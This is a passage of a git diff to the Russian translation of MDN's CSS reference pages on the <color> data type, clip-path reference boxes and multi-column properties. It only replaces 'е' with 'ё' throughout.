из следующих значений: <dl> <dt><code>fill-box</code></dt> <dd>Использует границы объекта в качестве базовой области.</dd> <dt><code>stroke-box</code></dt> <dd>Использует stroke bounding box в качестве базовой области.</dd> <dt><code>view-box</code></dt> - <dd>Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определен для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом <code>viewBox</code> и ширина и высота базового блока устанавливаются равными значениям атрибута <code>viewBox</code>.</dd> + <dd>Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определён для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом <code>viewBox</code> и ширина и высота базового блока устанавливаются равными значениям атрибута <code>viewBox</code>.</dd> <dt><code>margin-box</code></dt> <dd>Использует <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">margin box</a> в качестве базового блока.</dd> <dt><code>border-box</code></dt> diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html index 08edbe380a..9af9b77755 100644 --- a/files/ru/web/css/color_value/index.html +++ b/files/ru/web/css/color_value/index.html @@ -10,7 +10,7 @@ translation_of: Web/CSS/color_value <p>В <code><color></code> может быть определена любым из следующих способов can.</p> <ul> - <li>Использование или подключенного свойства веденного в параметр (например, <code>blue</code> или <code>transparent</code>)</li> + <li>Использование или подключённого свойства ведённого в параметр (например, <code>blue</code> или <code>transparent</code>)</li> <li>Использование <a href="https://en.wikipedia.org/wiki/RGB_color_model#Geometric_representation">кубической системы координат RGB</a> (via the #-hexadecimal or the <code>rgb()</code> and <code>rgba()</code> functional notations)<img alt="Цветовая модель представлена виде куба" src="https://en.wikipedia.org/wiki/RGB_color_model#/media/File:RGB_color_solid_cube.png" style="height: 200px; width: 200px;"></li> <li>Использование <a href="https://en.wikipedia.org/wiki/HSL_and_HSV">цилиндрической системы координат HSL</a> (через функциональные обозначения <code>hsl()</code> и <code>hsla()</code>) </li> </ul> @@ -21,7 +21,7 @@ translation_of: Web/CSS/color_value <h2 id="Синтаксис">Синтаксис </h2> -<p>Для типа данных задается <code><color></code> с помощью одного из следующих параметров.</p> +<p>Для типа данных задаётся <code><color></code> с помощью одного из следующих параметров.</p> <div class="note"> <p><strong>Заметка:</strong> значения <code><color></code> точно определены, их фактический внешний вид может отличаться (иногда значительно) от устройства к устройству. Это связано с тем что большинство устройств не откалиброваны, а некоторые браузеры не поддерживают цветовые профили <a href="https://en.wikipedia.org/wiki/ICC_profile">устройств вывода</a>.</p> @@ -29,12 +29,12 @@ translation_of: Web/CSS/color_value <h3 id="Ключевые_цвета">Ключевые цвета</h3> -<p>Ключевые слова для цвета - это идентификаторы без учета регистра, представляющие определенный цвет, например <code>red</code>, <code>blue</code>, <code>black</code> или <code>lightseagreen</code>. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. </p> +<p>Ключевые слова для цвета - это идентификаторы без учёта регистра, представляющие определённый цвет, например <code>red</code>, <code>blue</code>, <code>black</code> или <code>lightseagreen</code>. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. </p> <p>Есть несколько предостережений, которые следует учитывать при использовании ключевых слов цвета:</p> <ul> - <li><a href="/en-US/docs/Web/HTML">HTML</a> распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определенный алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и <a href="/en-US/docs/Web/SVG">SVG</a>.</li> + <li><a href="/en-US/docs/Web/HTML">HTML</a> распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определённый алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и <a href="/en-US/docs/Web/SVG">SVG</a>.</li> <li>В отличие от HTML, CSS будет полностью игнорировать неизвестные ключевые слова.</li> <li>Ключевые слова цвета все представляют собой простые, сплошные цвета, без прозрачности.</li> <li>Несколько ключевых слов являются псевдонимами друг для друга: @@ -977,11 +977,11 @@ translation_of: Web/CSS/color_value <p>Ключевое слово <code>transparent</code> представляет собой полностью прозрачный цвет. Это делает фон позади цветного элемента полностью видимым. Технически <code>transparent </code>- это ярлык для <code>rgba (0,0,0,0)</code>.</p> <div class="note"> -<p><strong>Примечание по совместимости:</strong> чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что <code>transparent</code> должен быть вычислен в <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">Альфа-предварительно умноженном цветовом пространстве</a>. Однако имейте в виду, что старые браузеры могут рассматривать его как черный с Альфа-значением <code>0</code>.</p> +<p><strong>Примечание по совместимости:</strong> чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что <code>transparent</code> должен быть вычислен в <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">Альфа-предварительно умноженном цветовом пространстве</a>. Однако имейте в виду, что старые браузеры могут рассматривать его как чёрный с Альфа-значением <code>0</code>.</p> </div> <div class="note"> -<p><strong>Историческая запись:</strong> <code>transparent</code> не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <code><color></code> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, <code>transparent </code>был переопределен как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <code><color></code>.</p> +<p><strong>Историческая запись:</strong> <code>transparent</code> не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <code><color></code> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, <code>transparent </code>был переопределён как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <code><color></code>.</p> </div> <h3 id="currentColor_ключевое_слово"><code><a id="currentColor" name="currentColor">currentColor</a></code> ключевое слово</h3> @@ -1002,7 +1002,7 @@ translation_of: Web/CSS/color_value <h3 id="RGB_цвет">RGB цвет</h3> -<p>Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелеными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.</p> +<p>Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелёными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.</p> <h4 id="Синтаксис">Синтаксис</h4> @@ -1014,13 +1014,13 @@ translation_of: Web/CSS/color_value <dl> <dt>Шестнадцатеричное представление: <code>#RRGGBB[AA]</code></dt> - <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>. <code>R</code> (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, <code>#ff0000</code> эквивалентно<code> #ff0000ff</code>.</dd> + <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>. <code>R</code> (красный), G (зелёный), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, <code>#ff0000</code> эквивалентно<code> #ff0000ff</code>.</dd> <dt>Шестнадцатеричное представление: <code>#RGB[A]</code></dt> - <dd><code>R</code> (красный), <code>G</code> (зеленый), <code>B</code> (синий) и <code>A</code> (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трехзначная нотация (<code>#RGB</code>) является более короткой версией шестизначной формы (<code>#RRGGBB</code>). Например, <code>#f09</code> имеет тот же цвет, что и <code>#ff0099</code>. Кроме того, четырехзначная нотация RGB (<code>#RGB</code>) является более короткой версией восьмизначной формы (<code>#RRGGBBAA</code>). Например, #0f38 имеет тот же цвет, что и <code>#00ff3388</code>.</dd> + <dd><code>R</code> (красный), <code>G</code> (зелёный), <code>B</code> (синий) и <code>A</code> (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трёхзначная нотация (<code>#RGB</code>) является более короткой версией шестизначной формы (<code>#RRGGBB</code>). Например, <code>#f09</code> имеет тот же цвет, что и <code>#ff0099</code>. Кроме того, четырёхзначная нотация RGB (<code>#RGB</code>) является более короткой версией восьмизначной формы (<code>#RRGGBBAA</code>). Например, #0f38 имеет тот же цвет, что и <code>#00ff3388</code>.</dd> <dt>Функциональная нотация: <code>rgb(R, G, B[, A])</code> или <code>rgba(R, G, B, A)</code></dt> - <dd><code>R</code> (красный), <code>G </code>(зеленый) и <code>B</code> (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число <code>255 </code>соответствует <code>100%</code>. А (Альфа) может быть {{cssxref("<number>")}} между <code>0</code> и <code>1</code> или {{cssxref("<percentage>")}}, где число 1 соответствует <code>100%</code> (полная непрозрачность).</dd> + <dd><code>R</code> (красный), <code>G </code>(зелёный) и <code>B</code> (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число <code>255 </code>соответствует <code>100%</code>. А (Альфа) может быть {{cssxref("<number>")}} между <code>0</code> и <code>1</code> или {{cssxref("<percentage>")}}, где число 1 соответствует <code>100%</code> (полная непрозрачность).</dd> <dt>Функциональная нотация: <code>rgb(R G B[ A])</code> or <code>rgba(R G B A)</code></dt> - <dd>CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.</dd> + <dd>CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.</dd> </dl> <h4 id="Пример">Пример</h4> @@ -1068,20 +1068,20 @@ rgb(1e2, .5e1, .5e0, +.25e2%) <h5 id="RGB_вариации_прозрачности">RGB вариации прозрачности</h5> <pre class="notranslate">/* Шестнадцатеричный синтаксис */ -#3a30 <span style="background: #3a30;"> /* 0% непрозрачный зеленый цвет */ </span> -#3A3F <span style="background: #3A3F;"> /* полный непрозрачный зеленый цвет */ </span> -#33aa3300 <span style="background: #33aa3300;"> /* 0% непрозрачный зеленый цвет */ </span> -#33AA3380 <span style="background: #33AA3380;"> /* 50% непрозрачный зеленый цвет */ </span> +#3a30 <span style="background: #3a30;"> /* 0% непрозрачный зелёный цвет */ </span> +#3A3F <span style="background: #3A3F;"> /* полный непрозрачный зелёный цвет */ </span> +#33aa3300 <span style="background: #33aa3300;"> /* 0% непрозрачный зелёный цвет */ </span> +#33AA3380 <span style="background: #33AA3380;"> /* 50% непрозрачный зелёный цвет */ </span> /* Функциональный синтаксис */ -rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* непрозрачный зеленый цвет на 10% */ </span> -rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* непрозрачный зеленый цвет на */ </span> -rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* непрозрачный зеленый цвет на 70% */ </span> -rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* полный непрозрачный зеленый цвет */ </span> +rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* непрозрачный зелёный цвет на 10% */ </span> +rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* непрозрачный зелёный цвет на */ </span> +rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* непрозрачный зелёный цвет на 70% */ </span> +rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* полный непрозрачный зелёный цвет */ </span> /* Синтаксис пробелов */ -rgba(51 170 51 / 0.4) <span> /* непрозрачный зеленый цвет на 40%*/ </span> -rgba(51 170 51 / 40%) <span> /* непрозрачный зеленый цвет на 40% */ +rgba(51 170 51 / 0.4) <span> /* непрозрачный зелёный цвет на 40%*/ </span> +rgba(51 170 51 / 40%) <span> /* непрозрачный зелёный цвет на 40% */ </span>/* Функциональный синтаксис со значением floats */ rgba(255, 0, 153.6, 1) @@ -1092,7 +1092,7 @@ rgba(1e2, .5e1, .5e0, +.25e2%) <p>Цветовая модель HSL определяет заданный цвет в соответствии с его компонентами оттенка, насыщенности и яркости. Дополнительный Альфа-компонент представляет прозрачность цвета.</p> -<p>Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и легкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).</p> +<p>Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и лёгкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).</p> <h4 id="Синтаксис_2">Синтаксис</h4> @@ -1104,14 +1104,14 @@ rgba(1e2, .5e1, .5e0, +.25e2%) <dl> <dt>Функциональная нотация: <code>hsl(H, S, L[, A])</code> или<code>hsla(H, S, L, A)</code></dt> - <dd><code>H</code> (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в <code>deg</code>S, <code>rad</code>s, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=<code>0</code> deg=<code>360</code> град, с другими цветами, распространенными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обертывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.</dd> - <dd><code>S</code> (<code>насыщенность</code>) и <code>L</code> (<code>легкость</code>) являются процентами. <code>100%</code> насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). <code>100%</code> легкость белый, <code>0%</code> легкость черный, и <code>50%</code> легкость “<code>нормально</code>.”</dd> + <dd><code>H</code> (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в <code>deg</code>S, <code>rad</code>s, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=<code>0</code> deg=<code>360</code> град, с другими цветами, распространёнными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обёртывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.</dd> + <dd><code>S</code> (<code>насыщенность</code>) и <code>L</code> (<code>лёгкость</code>) являются процентами. <code>100%</code> насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). <code>100%</code> лёгкость белый, <code>0%</code> лёгкость чёрный, и <code>50%</code> лёгкость “<code>нормально</code>.”</dd> <dd><code>A</code> (alpha) can be a {{cssxref("<number>")}} between <code>0</code> and <code>1</code>, or a {{cssxref("<percentage>")}}, where the number <code>1</code> corresponds to <code>100%</code> (full opacity). <code>A</code> (Альфа) может быть {{cssxref("<number>")}} между <code>0</code> и <code>1</code> или {{cssxref("<percentage>")}}, где число <code>1</code> соответствует <code>100%</code> (полная непрозрачность).</dd> </dl> <dl> <dt>Функциональная нотация: <code>hsl(H S L[ A])</code> or <code>hsla(H S L A)</code></dt> - <dd>CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.</dd> + <dd>CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.</dd> </dl> <h4 id="Examples">Examples</h4> @@ -1212,7 +1212,7 @@ hsl(270 60% 50% / 15%) </tbody> </table> -<h5 id="Более_светлая_и_более_темная_зелень">Более светлая и более темная зелень</h5> +<h5 id="Более_светлая_и_более_тёмная_зелень">Более светлая и более тёмная зелень</h5> <table class="standard-table"> <thead> @@ -1328,17 +1328,17 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>Background</dt> <dd>Фон рабочего стола.</dd> <dt>ButtonFace</dt> - <dd>Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом <code>ButtonText</code> цвет переднего плана.</dd> + <dd>Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом <code>ButtonText</code> цвет переднего плана.</dd> <dt>ButtonHighlight</dt> - <dd>Цвет границы, обращенной к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.</dd> + <dd>Цвет границы, обращённой к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.</dd> <dt>ButtonShadow</dt> - <dd>Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трехмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.</dd> + <dd>Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трёхмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.</dd> <dt>ButtonText</dt> <dd>Следует использовать с <code>ButtonFace</code> или <code>ThreeDFace</code> цвет фона.</dd> <dt>CaptionText</dt> <dd>Текст в заголовке, поле размера и поле со стрелкой прокрутки. Следует использовать с цветом фона <code>ActiveCaption</code>.</dd> <dt>GrayText</dt> - <dd>Серый (отключен) текст.</dd> + <dd>Серый (отключён) текст.</dd> <dt>Highlight</dt> <dd>Элемент(ы), выбранный в элементе управления. Следует использовать с <code>HighlightText</code> текста цветом переднего плана.</dd> <dt>HighlightText</dt> @@ -1360,15 +1360,15 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>Scrollbar</dt> <dd>Цвет фона полос прокрутки.</dd> <dt>ThreeDDarkShadow</dt> - <dd>Цвет более темной (как правило, внешней) из двух границ от источника света для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более тёмной (как правило, внешней) из двух границ от источника света для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>ThreeDFace</dt> - <dd>Should be used with the <code>ButtonText</code> foreground color. Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.</dd> + <dd>Should be used with the <code>ButtonText</code> foreground color. Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.</dd> <dt>ThreeDHighlight</dt> - <dd>Цвет более светлого (обычно внешнего) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более светлого (обычно внешнего) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>ThreeDLightShadow</dt> - <dd>Цвет более темной (обычно внутренней) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более тёмной (обычно внутренней) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>ThreeDShadow</dt> - <dd>Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>Window</dt> <dd>Фон окна. Следует использовать с <code>WindowText</code> цвет переднего плана.</dd> <dt>WindowFrame</dt> @@ -1383,9 +1383,9 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>-moz-ButtonDefault</dt> <dd>Цвет границы вокруг кнопки, которые обозначают действие по умолчанию для диалогового окна.</dd> <dt>-moz-ButtonHoverFace</dt> - <dd>Цвет фона кнопки, на которую наведен указатель мыши (который будет Трехлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.</dd> + <dd>Цвет фона кнопки, на которую наведён указатель мыши (который будет Трёхлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.</dd> <dt>-moz-ButtonHoverText</dt> - <dd>Цвет текста кнопки, на которую наведен указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с-<code>-moz-ButtonHoverFace background</code> color.</dd> + <dd>Цвет текста кнопки, на которую наведён указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с-<code>-moz-ButtonHoverFace background</code> color.</dd> <dt>-moz-CellHighlight</dt> <dd>Цвет фона для выбранного элемента в виджете дерево. Следует использовать с цветом переднего плана <code>-moz-CellHighlightText</code>. См. также<code>-moz-html-CellHighlight</code>.</dd> <dt>-moz-CellHighlightText</dt> @@ -1400,7 +1400,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dd>Цвет текста для диалоговых окон. Должен использоваться с цветом фона <code>-moz-Dialog</code>.</dd> <dt>-moz-dragtargetzone</dt> <dt>-moz-EvenTreeRow</dt> - <dd>{{gecko_minversion_inline("1.9")}} цвет фона для четных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте-moz-поле. См. также <code>-moz-OddTreeRow</code>.</dd> + <dd>{{gecko_minversion_inline("1.9")}} цвет фона для чётных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте-moz-поле. См. также <code>-moz-OddTreeRow</code>.</dd> <dt>-moz-Field</dt> <dd>Text field background color. Should be used with the <code>-moz-FieldText</code> foreground color. Цвет фона текстового поля. Должен использоваться с цветом переднего плана<code>-moz-FieldText</code>.</dd> <dt>-moz-FieldText</dt> @@ -1435,7 +1435,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>-moz-nativehyperlinktext</dt> <dd>{{Gecko_minversion_inline ("1.9.1")}} цвет гиперссылки платформы по умолчанию.</dd> <dt>-moz-OddTreeRow</dt> - <dd>{{gecko_minversion_inline("1.9")}} цвет фона для нечетных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте <code>-moz-Field</code>. Смотрите также <code>-moz-EvenTreeRow</code>.</dd> + <dd>{{gecko_minversion_inline("1.9")}} цвет фона для нечётных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте <code>-moz-Field</code>. Смотрите также <code>-moz-EvenTreeRow</code>.</dd> <dt>-moz-win-communicationstext</dt> <dd>{{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с <code>{{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;</code>.</dd> <dt>-moz-win-mediatext</dt> @@ -1445,7 +1445,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> Используется для доступа к пользовательскому цвету акцента Windows 10, который можно установить в меню Пуск, панели задач, заголовках и т. д.</dd> <dt>-moz-win-accentcolortext</dt> <dd>{{gecko_minversion_inline ("56")}}<br> - Используется для доступа к цвету текста, размещенного над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.</dd> + Используется для доступа к цвету текста, размещённого над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.</dd> </dl> <h3 id="Расширения_Цветовых_Предпочтений_Mozilla">Расширения Цветовых Предпочтений Mozilla</h3> @@ -1460,16 +1460,16 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>-moz-hyperlinktext</dt> <dd>Предпочтения пользователя для цвета текста непрошеных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd> <dt>-moz-visitedhyperlinktext</dt> - <dd>Предпочтения пользователя для цвета текста посещенных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd> + <dd>Предпочтения пользователя для цвета текста посещённых ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd> </dl> <h2 id="Интерполяция">Интерполяция</h2> -<p>В анимации и <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">градиентах </a>значения <code><color></code> интерполируются на каждый из их <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, зеленых и синих компонентов</a>. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется <a href="/en-US/docs/Web/CSS/single-transition-timing-function">функцией времени</a>.</p> +<p>В анимации и <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">градиентах </a>значения <code><color></code> интерполируются на каждый из их <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, зелёных и синих компонентов</a>. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется <a href="/en-US/docs/Web/CSS/single-transition-timing-function">функцией времени</a>.</p> <h2 id="Соображения_доступности">Соображения доступности</h2> -<p>Некоторые люди с трудом различают цвета. Рекомендация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определенного сообщения, действия или результата. Дополнительную информацию см. В <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">разделе цвет и цветовой контраст</a>.</p> +<p>Некоторые люди с трудом различают цвета. Рекомендация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определённого сообщения, действия или результата. Дополнительную информацию см. В <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">разделе цвет и цветовой контраст</a>.</p> <h2 id="Технические_характеристики">Технические характеристики</h2> @@ -1485,7 +1485,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <tr> <td>{{SpecName('CSS4 Colors', '#colorunits', '<color>')}}</td> <td>{{Spec2('CSS4 Colors')}}</td> - <td>Добавляет <code>rebeccapurple</code>, четырехзначные (<code>#RGBA</code>) и восьмизначные (<code>#RRGGBBAA</code>) шестнадцатеричные обозначения, <code>rgba() </code>и <code>hsla()</code> в качестве псевдонимов <code>rgb ()</code> и <code>hsl () </code>(оба с одинаковым синтаксисом параметров), разделенные пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах <code>hsl ()</code>.</td> + <td>Добавляет <code>rebeccapurple</code>, четырёхзначные (<code>#RGBA</code>) и восьмизначные (<code>#RRGGBBAA</code>) шестнадцатеричные обозначения, <code>rgba() </code>и <code>hsla()</code> в качестве псевдонимов <code>rgb ()</code> и <code>hsl () </code>(оба с одинаковым синтаксисом параметров), разделённые пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах <code>hsl ()</code>.</td> </tr> <tr> <td>{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}</td> @@ -1507,7 +1507,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("css.properties.color")}}</p> diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html index b0f17d4069..633d6a186b 100644 --- a/files/ru/web/css/column-count/index.html +++ b/files/ru/web/css/column-count/index.html @@ -3,7 +3,7 @@ title: column-count slug: Web/CSS/column-count tags: - Свойство - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-count --- <div>{{CSSRef}}</div> diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html index b0b7cb3ade..3019c7e417 100644 --- a/files/ru/web/css/column-rule-color/index.html +++ b/files/ru/web/css/column-rule-color/index.html @@ -2,7 +2,7 @@ title: column-rule-color slug: Web/CSS/column-rule-color tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-color --- <div>{{CSSRef}}</div> diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html index 70816fe051..a012d070de 100644 --- a/files/ru/web/css/column-rule-style/index.html +++ b/files/ru/web/css/column-rule-style/index.html @@ -2,7 +2,7 @@ title: column-rule-style slug: Web/CSS/column-rule-style tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-style --- <div>{{ CSSRef}}</div> diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html index d590860976..d48f043c0d 100644 --- a/files/ru/web/css/column-rule/index.html 